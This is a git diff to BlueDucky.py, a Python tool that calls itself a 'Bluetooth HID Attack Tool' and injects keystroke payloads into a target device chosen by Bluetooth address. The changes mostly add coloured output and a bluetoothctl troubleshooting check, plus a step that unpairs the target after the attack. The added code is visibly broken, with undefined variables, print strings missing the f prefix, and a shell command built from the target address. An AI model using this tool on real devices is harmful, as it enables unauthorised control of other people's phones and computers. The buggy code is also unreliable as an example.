diff --git a/BlueDucky.py b/BlueDucky.py index f5b0465..d3402e8 100644 --- a/BlueDucky.py +++ b/BlueDucky.py @@ -2,6 +2,7 @@ import binascii, bluetooth, sys, time, datetime, logging, argparse from multiprocessing import Process from pydbus import SystemBus from enum import Enum +import subprocess import os from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address) @@ -15,8 +16,6 @@ class AnsiColorCode: GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' - MAGENTA = '\033[95m' - CYAN = '\033[96m' WHITE = '\033[97m' RESET = '\033[0m' @@ -30,8 +29,8 @@ class ColorLogFormatter(logging.Formatter): logging.INFO: AnsiColorCode.GREEN, logging.WARNING: AnsiColorCode.YELLOW, logging.ERROR: AnsiColorCode.RED, - logging.CRITICAL: AnsiColorCode.MAGENTA, - NOTICE_LEVEL: AnsiColorCode.CYAN, # Color for NOTICE level + logging.CRITICAL: AnsiColorCode.RED, + NOTICE_LEVEL: AnsiColorCode.BLUE, # Color for NOTICE level } def format(self, record): @@ -268,9 +267,20 @@ class L2CAPClient: self.connected = True log.debug("SUCCESS! connected on port %d" % self.port) except Exception as ex: + # Color Definition Again just to avoid errors I should've made a class for this. + red = "\033[91m" + blue = "\033[94m" + reset = "\033[0m" + + error = True self.connected = False log.error("ERROR connecting on port %d: %s" % (self.port, ex)) raise ConnectionFailureException(f"Connection failure on port {self.port}") + if (error == True & self.port == 14): + print("{reset}[{red}!{reset}] {red}CRITICAL ERROR{reset}: {reset}Attempted Connection to {red}{target_address} {reset}was {red}denied{reset}.") + return self.connected + + return self.connected @@ -594,6 +604,7 @@ def terminate_child_processes(): if proc.is_alive(): proc.terminate() proc.join() + def setup_bluetooth(target_address, adapter_id): restart_bluetooth_daemon() @@ -626,8 +637,39 @@ def setup_and_connect(connection_manager, target_address, adapter_id): establish_connections(connection_manager) return connection_manager.clients[19] +def troubleshoot_bluetooth(): + # Added this function to troubleshoot common issues before access to the application is granted + + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" + # Check if bluetoothctl is available + try: + subprocess.run(['bluetoothctl', '--version'], check=True, stdout=subprocess.PIPE) + except subprocess.CalledProcessError: + print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: {blue}bluetoothctl {reset}is not installed or not working properly.") + return False + + # Check for Bluetooth adapters + result = subprocess.run(['bluetoothctl', 'list'], capture_output=True, text=True) + if "Controller" not in result.stdout: + print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No {blue}Bluetooth adapters{reset} have been detected.") + return False + + # List devices to see if any are connected + result = subprocess.run(['bluetoothctl', 'devices'], capture_output=True, text=True) + if "Device" not in result.stdout: + print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No Compatible {blue}Bluetooth devices{reset} are connected.") + return False + + # if no issues are found then continue + return True + # Main function def main(): + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool") parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)') args = parser.parse_args() @@ -636,31 +678,38 @@ def main(): main_menu() target_address = get_target_address() if not target_address: - log.info("No target address provided. Exiting.") + log.info("No target address provided. Exiting..") return script_directory = os.path.dirname(os.path.realpath(__file__)) payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder. payloads = os.listdir(payload_folder) - print("\nAvailable payloads:") + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" + print(f"\nAvailable payloads{blue}:") for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder. - print(f"{idx}: {payload_file}") + print(f"{reset}[{blue}{idx}{reset}]{blue}: {blue}{payload_file}") - payload_choice = input("\nEnter the number of the payload you want to load: ") + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" + payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{white}: {blue}") selected_payload = None try: payload_index = int(payload_choice) - 1 selected_payload = os.path.join(payload_folder, payloads[payload_index]) except (ValueError, IndexError): - print("Invalid payload choice. No payload selected.") + print(f"Invalid payload choice. No payload selected.") if selected_payload is not None: - print(f"Selected payload: {selected_payload}") + print(f"{blue}Selected payload{reset}: {blue}{selected_payload}") duckyscript = read_duckyscript(selected_payload) else: - print("No payload selected.") + print(f"{red}No payload selected.") + if not duckyscript: @@ -680,20 +729,31 @@ def main(): process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position) time.sleep(2) break # Exit loop if successful + except ReconnectionRequiredException as e: - log.info("Reconnection required. Attempting to reconnect...") + log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...") current_line = e.current_line current_position = e.current_position connection_manager.close_all() # Sleep before retrying to avoid rapid reconnection attempts time.sleep(2) - - #process_duckyscript(hid_interrupt_client, duckyscript) + + finally: + # unpair the target device + blue = "\033[94m" + reset = "\033[0m" + + command = f'echo -e "remove {target_address}\n" | bluetoothctl' + subprocess.run(command, shell=True) + print(f"{blue}Successfully Removed device{reset}: {blue}{target_address}{reset}") if __name__ == "__main__": setup_logging() log = logging.getLogger(__name__) try: - main() + if troubleshoot_bluetooth(): + main() + else: + sys.exit(0) finally: terminate_child_processes()